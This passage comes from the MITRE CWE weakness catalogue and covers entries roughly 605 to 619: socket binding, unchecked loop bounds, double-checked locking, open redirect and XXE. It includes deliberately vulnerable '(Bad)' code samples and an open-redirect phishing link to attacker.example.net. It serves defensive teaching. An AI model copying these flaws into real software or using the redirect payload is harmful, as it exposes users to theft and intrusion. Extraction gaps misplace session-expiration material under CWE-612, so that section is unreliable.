The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	666	Operation on Resource in Wrong Phase of Lifetime	1474
ChildOf	B	675	Multiple Operations on Resource in Single-Operation Context	1499

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2459

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data *Packets from a variety of network services may be stolen or the services spoofed.*	

Potential Mitigations

Phase: Policy

Restrict server socket address to known local addresses.

Demonstrative Examples

Example 1:

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

Example Language: C *(Bad)*

```
void bind_socket(void) {
  int server_sockfd;
  int server_len;
  struct sockaddr_in server_address;
  /*unlink the socket if already bound to avoid an error when bind() is called*/
  unlink("server_socket");
  server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
  server_address.sin_family = AF_INET;
  server_address.sin_port = 21;
  server_address.sin_addr.s_addr = htonl(INADDR_ANY);
  server_len = sizeof(struct sockaddr_in);
  bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}
```

This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.

CWE-606: Unchecked Input for Loop Condition

Weakness ID : 606
Structure : Simple
Abstraction : Base

Description

The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1284	Improper Validation of Specified Quantity in Input	2147
CanPrecede	C	834	Excessive Iteration	1767

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2515

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Do not use user-controlled data for loop conditions.

Phase: Implementation

Perform input validation.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
void iterate(int n){
  int i;
  for (i = 0; i < n; i++){
    foo();
```

```
  }
}
void iterateFoo()
{
  unsigned int num;
  scanf("%u",&num);
  iterate(num);
}
```

Example 2:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C *(Bad)*

```
int processMessageFromSocket(int socket) {
  int success;
  char buffer[BUFFER_SIZE];
  char message[MESSAGE_SIZE];
  // get message from socket and store into buffer
  //Ignoring possibliity that buffer > BUFFER_SIZE
  if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
    // place contents of the buffer into message structure
    ExMessage *msg = recastBuffer(buffer);
    // copy message body into string for processing
    int index;
    for (index = 0; index < msg->msgLength; index++) {
      message[index] = msg->msgBody[index];
    }
    message[index] = '\0';
    // process message
    success = processMessage(message);
  }
  return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-607: Public Static Final Field References Mutable Object

Weakness ID : 607
Structure : Simple
Abstraction : Variant

Description

A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	471	Modification of Assumed-Immutable Data (MAID)	1132

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Protect mutable objects by making them private. Restrict access to the getter and setter as well.

Demonstrative Examples

Example 1:

Here, an array (which is inherently mutable) is labeled public static final.

Example Language: Java *(Bad)*

```
public static final String[] USER_ROLES;
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

CWE-608: Struts: Non-private Field in ActionForm Class

Weakness ID : 608
Structure : Simple
Abstraction : Variant

Description

An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	668	Exposure of Resource to Wrong Sphere	1481

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Implementation

Make all fields private. Use getter to get the value of the field. Setter should be used only by the framework; setting an action form field from other actions is bad practice and should be avoided.

Demonstrative Examples

Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for a online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

Example Language: Java *(Bad)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
   // variables for registration form
   public String name;
   public String email;
   ...
   public RegistrationForm() {
      super();
   }
   public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
   ...
}
```

However, within the RegistrationForm the member variables for the registration form input data are declared public not private. All member variables within a Struts framework ActionForm class must be declared private to prevent the member variables from being modified without using the getter and setter methods. The following example shows the member variables being declared private and getter and setter methods declared for accessing the member variables.

Example Language: Java *(Good)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
   // private variables for registration form
   private String name;
   private String email;
   ...
   public RegistrationForm() {
      super();
   }
   public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
   // getter and setter methods for private variables
   ...
}
```

CWE-609: Double-Checked Locking

Weakness ID : 609
Structure : Simple
Abstraction : Base

Description

The product uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.

Extended Description

Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as it is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	411	Resource Locking Problems	2362

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Other	Alter Execution Logic	

Potential Mitigations

Phase: Implementation

While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.

Demonstrative Examples

Example 1:

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Example Language: Java *(Bad)*

```
if (helper == null) {
   synchronized (this) {
      if (helper == null) {
         helper = new Helper();
      }
   }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

Example Language: Java *(Bad)*

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

MemberOf Relationships

CWE-610: Externally Controlled Reference to a Resource in Another Sphere

Weakness ID : 610
Structure : Simple

Abstraction : Class

Description

The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1466
ParentOf	B	15	External Control of System or Configuration Setting	17
ParentOf	B	73	External Control of File Name or Path	133
ParentOf		384	Session Fixation	945
ParentOf	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	1073
ParentOf	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	1128
ParentOf	B	601	URL Redirection to Untrusted Site ('Open Redirect')	1356
ParentOf	B	611	Improper Restriction of XML External Entity Reference	1378
PeerOf	B	386	Symbolic Name not Mapping to Correct Object	950

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf		384	Session Fixation	945
ParentOf	B	601	URL Redirection to Untrusted Site ('Open Redirect')	1356
ParentOf	B	611	Improper Restriction of XML External Entity Reference	1378
ParentOf	B	918	Server-Side Request Forgery (SSRF)	1834
ParentOf	B	1021	Improper Restriction of Rendered UI Layers or Frames	1874

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	2467

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data *An adversary could read or modify data, depending on how the resource is intended to be used.*	
Access Control	Gain Privileges or Assume Identity *An adversary that can supply a reference to an unintended resource can potentially access a resource that they do not have privileges for, thus bypassing existing access control mechanisms.*	High

Demonstrative Examples

Example 1:

The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

Example Language: Java *(Bad)*

```
public class RedirectServlet extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
  {
    String query = request.getQueryString();
    if (query.contains("url")) {
      String url = request.getParameter("url");
      response.sendRedirect(url);
    }
  }
}
```

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of an e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

Example Language: HTML *(Attack)*

```
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

Observed Examples

Reference	Description
CVE-2022-3032	An email client does not block loading of remote objects in a nested document. *https://www.cve.org/CVERecord?id=CVE-2022-3032*
CVE-2022-45918	Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24) *https://www.cve.org/CVERecord?id=CVE-2022-45918*
CVE-2018-1000613	Cryptography API uses unsafe reflection when deserializing a private key *https://www.cve.org/CVERecord?id=CVE-2018-1000613*
CVE-2020-11053	Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601) *https://www.cve.org/CVERecord?id=CVE-2020-11053*
CVE-2022-42745	Recruiter software allows reading arbitrary files using XXE *https://www.cve.org/CVERecord?id=CVE-2022-42745*
CVE-2004-2331	Database system allows attackers to bypass sandbox restrictions by using the Reflection API. *https://www.cve.org/CVERecord?id=CVE-2004-2331*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

MemberOf	C	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2542
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2582

Notes

Relationship

This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name; in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
219	XML Routing Detour Attacks

CWE-611: Improper Restriction of XML External Entity Reference

Weakness ID : 611
Structure : Simple
Abstraction : Base

Description

The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

Extended Description

XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.

By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.

Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1375
PeerOf		441	Unintended Proxy or Intermediary ('Confused Deputy')	1073

MemberOf	C	1015	Limit Access	2467

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2346

Applicable Platforms

Language : XML *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Alternate Terms

XXE : An acronym used for the term "XML eXternal Entities"

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.*	
Integrity	Bypass Protection Mechanism	

Scope	Impact	Likelihood
	The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.	
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *The product could consume excessive CPU cycles or memory using a URI that points to a large file, or a device that always returns data such as /dev/random. Alternately, the URI could reference a file that contains many nested or recursive entity references to further slow down parsing.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Phase: System Configuration

Many XML parsers and validators can be configured to disable external entity expansion.

Observed Examples

MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2556

Notes

Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

CWE-612: Improper Authorization of Index Containing Sensitive Information

Weakness ID : 612
Structure : Simple
Abstraction : Base

Description

The product creates a search index of private or sensitive documents, but it does not properly limit index access to actors who are authorized to see the original information.

Extended Description

Web sites and other document repositories may apply an indexing routine against a group of private documents to facilitate search. If the index's results are available to parties who do not have access to the documents being indexed, then attackers could obtain portions of the documents by conducting targeted searches and reading the results. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Set sessions/credentials expiration date.

Demonstrative Examples

Example 1:

The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire.

Example Language: Java *(Bad)*

```
<web-app>
  [...snipped...]
  <session-config>
    <session-timeout>-1</session-timeout>
  </session-config>
</web-app>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2372

MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2556

Notes

Other

The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
102	Session Sidejacking

CWE-615: Inclusion of Sensitive Information in Source Code Comments

Weakness ID : 615
Structure : Simple
Abstraction : Variant

Description

While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.

Extended Description

An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	540	Inclusion of Sensitive Information in Source Code	1262
PeerOf	V	546	Suspicious Comment	1269

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Distribution

Remove comments which have sensitive information about the design/implementation of the application. Some of the comments may be exposed to the user and affect the security posture of the application.

Demonstrative Examples

Example 1:

The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

Example Language: JSP *(Bad)*

```
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
```

Observed Examples

Reference	Description
CVE-2007-6197	Version numbers and internal hostnames leaked in HTML comments. *https://www.cve.org/CVERecord?id=CVE-2007-6197*
CVE-2007-4072	CMS places full pathname of server in HTML comment. *https://www.cve.org/CVERecord?id=CVE-2007-4072*
CVE-2009-2431	blog software leaks real username in HTML comment. *https://www.cve.org/CVERecord?id=CVE-2009-2431*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2437

Nature	Type	ID	Name	V	Page
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2585

CWE-616: Incomplete Identification of Uploaded File Variables (PHP)

Weakness ID : 616
Structure : Simple
Abstraction : Variant

Description

The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.

Extended Description

These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as "/etc/passwd".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	345	Insufficient Verification of Data Authenticity	859
PeerOf	V	473	PHP External Variable Modification	1137

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Architecture and Design

Use PHP 4 or later.

Phase: Architecture and Design

If you must support older PHP versions, write your own version of is_uploaded_file() and run it against $HTTP_POST_FILES['userfile']))

Phase: Implementation

For later PHP versions, reference uploaded files using the $HTTP_POST_FILES or $_FILES variables, and use is_uploaded_file() or move_uploaded_file() to ensure that you are dealing with an uploaded file.

Demonstrative Examples

Example 1:

As of 2006, the "four globals" method is probably in sharp decline, but older PHP applications could have this issue.

In the "four globals" method, PHP sets the following 4 global variables (where "varname" is application-dependent):

Example Language: PHP *(Bad)*

```
$varname = name of the temporary file on local machine
$varname_size = size of file
$varname_name = original name of file provided by client
$varname_type = MIME type of the file
```

Example 2:

"The global $_FILES exists as of PHP 4.1.0 (Use $HTTP_POST_FILES instead if using an earlier version). These arrays will contain all the uploaded file information."

Example Language: PHP *(Bad)*

```
$_FILES['userfile']['name'] - original filename from client
$_FILES['userfile']['tmp_name'] - the temp filename of the file on the server
```

** note: 'userfile' is the field name from the web form; this can vary.

Observed Examples

Reference	Description
CVE-2002-1460	Forum does not properly verify whether a file was uploaded or if the associated variables were set by POST, allowing remote attackers to read arbitrary files. *https://www.cve.org/CVERecord?id=CVE-2002-1460*
CVE-2002-1759	Product doesn't check if the variables for an upload were set by uploading the file, or other methods such as $_POST. *https://www.cve.org/CVERecord?id=CVE-2002-1759*
CVE-2002-1710	Product does not distinguish uploaded file from other files. *https://www.cve.org/CVERecord?id=CVE-2002-1710*

CWE-617: Reachable Assertion

Weakness ID : 617
Structure : Simple
Abstraction : Base

Description

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

Extended Description

While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service.

For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Weakness Ordinalities

Resultant :

Alternate Terms

assertion failure :

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *An attacker that can trigger an assert statement can still lead to a denial of service if the relevant code can be triggered by an attacker, and if the scope of the assert() extends beyond the attacker's own session.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)

Phase: Implementation

Strategy = Input Validation

Perform input validation on user data.

Demonstrative Examples

Example 1:

In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form.

Example Language: Java *(Bad)*

```
String email = request.getParameter("email_address");
assert email != null;
```

Observed Examples

Reference	Description
CVE-2023-49286	Chain: function in web caching proxy does not correctly check a return value (CWE-253) leading to a reachable assertion (CWE-617) *https://www.cve.org/CVERecord?id=CVE-2023-49286*
CVE-2006-6767	FTP server allows remote attackers to cause a denial of service (daemon abort) via crafted commands which trigger an assertion failure. *https://www.cve.org/CVERecord?id=CVE-2006-6767*
CVE-2006-6811	Chat client allows remote attackers to cause a denial of service (crash) via a long message string when connecting to a server, which causes an assertion failure. *https://www.cve.org/CVERecord?id=CVE-2006-6811*
CVE-2006-5779	Product allows remote attackers to cause a denial of service (daemon crash) via LDAP BIND requests with long authcid names, which triggers an assertion failure. *https://www.cve.org/CVERecord?id=CVE-2006-5779*
CVE-2006-4095	Product allows remote attackers to cause a denial of service (crash) via certain queries, which cause an assertion failure. *https://www.cve.org/CVERecord?id=CVE-2006-4095*
CVE-2006-4574	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion. *https://www.cve.org/CVERecord?id=CVE-2006-4574*
CVE-2004-0270	Anti-virus product has assert error when line length is non-numeric. *https://www.cve.org/CVERecord?id=CVE-2004-0270*

CWE-618: Exposed Unsafe ActiveX Method

Weakness ID : 618
Structure : Simple
Abstraction : Variant

Description

An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).

Extended Description

ActiveX controls can exercise far greater control over the operating system than typical Java or javascript. Exposed methods can be subject to various vulnerabilities, depending on the implemented behaviors of those methods, and whether input validation is performed on the provided arguments. If there is no integrity checking or origin validation, this method could be invoked by attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	275	Permission Issues	2355

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

If you must expose a method, make sure to perform input validation on all arguments, and protect against all possible vulnerabilities.

Phase: Architecture and Design

Use code signing, although this does not protect against any weaknesses that are already in the control.

Phase: Architecture and Design

Phase: System Configuration

Where possible, avoid marking the control as safe for scripting.

Observed Examples

Reference	Description
CVE-2007-1120	download a file to arbitrary folders. *https://www.cve.org/CVERecord?id=CVE-2007-1120*
CVE-2006-6838	control downloads and executes a url in a parameter *https://www.cve.org/CVERecord?id=CVE-2006-6838*

CWE-619: Dangling Database Cursor ('Cursor Injection')

